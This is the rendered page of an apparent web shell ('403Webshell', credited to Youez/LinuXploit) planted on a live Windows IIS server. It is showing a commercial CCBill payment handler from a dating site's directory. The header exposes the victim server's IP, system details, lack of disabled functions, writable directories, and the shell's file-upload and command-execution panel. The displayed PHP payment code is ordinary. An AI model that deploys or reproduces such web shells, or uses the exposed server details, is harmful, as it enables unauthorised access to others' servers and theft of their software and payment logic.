403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_pay/ccbill/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_pay/ccbill/before.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$g['to_root'] = '../../';
include($g['to_root'] . '_include/core/main_start.php');

$system = "ccbill";

$item = Pay::checkPlan();
if ($item === false) {
    exit;
}

$row = Pay::getOptionsPlan($item);
$code = Pay::getCode($item, $row['amount']);

$data = array('item' => $item,
              'system' => $system,
              'code' => $code,
              'request_uri' => Pay::getRequestUri());
Pay::insertBefore($data);

// depend on type
$isFlexForm = false;

$formName = $pay[$system]['form_name'];

if(mb_strlen($formName) > 10 && strpos($formName, '-')) {
    $isFlexForm = true;
}

// Fix - Invalid Initial Period for credits
if($row['type'] === 'credits') {
    $row['gold_days'] = 2;
}

	$url = 'https://bill.ccbill.com/jpost/signup.cgi?clientAccnum=' . $pay[$system]['client_account_number'] .
	'&clientSubacc=' . $pay[$system]['client_subaccount_number'] .
	'&custom=' . $code .
	'&formName=' . $formName .
	'&formPrice=' . $row['amount'] .
	'&formPeriod=' . $row['gold_days'] .
	'&currencyCode=' . $pay[$system]['currency_code'] .
	'&formDigest=' . ccbillKey(
		$row['amount'], $row['gold_days'],
		$pay[$system]['currency_code'], $pay[$system]['salt']
		);


if($isFlexForm) {
    $url = 'https://api.ccbill.com/wap-frontflex/flexforms/' . $formName . '?';

    $params = array(
        'clientAccnum' => trim($pay[$system]['client_account_number']),
        'clientSubacc' => trim($pay[$system]['client_subaccount_number']),
        'initialPrice' => $row['amount'],
        'initialPeriod' => $row['gold_days'],
        'currencyCode' => trim($pay[$system]['currency_code']),
        'custom' => $code,
    );

    $params['formDigest'] = ccbillKey($params['initialPrice'], $params['initialPeriod'], $params['currencyCode'], $pay[$system]['salt']);

    $url .= http_build_query($params);
}

redirect($url);

function ccbillKey($formPrice, $formPeriod, $currencyCode, $salt,
				   $formRebills = 0, $formRecurringPrice = 0,
				   $formRecurringPeriod = 0)
{
	if($formRebills) {
		$key = md5($formPrice . $formPeriod . $formRecurringPrice
		  . $formRecurringPeriod . $formRebills . $currencyCode . $salt);
	} else {
		$str = $formPrice . $formPeriod . $currencyCode . $salt;
		$key = md5($str);
	}
	return $key;
}

include($g['to_root'] . "_include/core/main_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit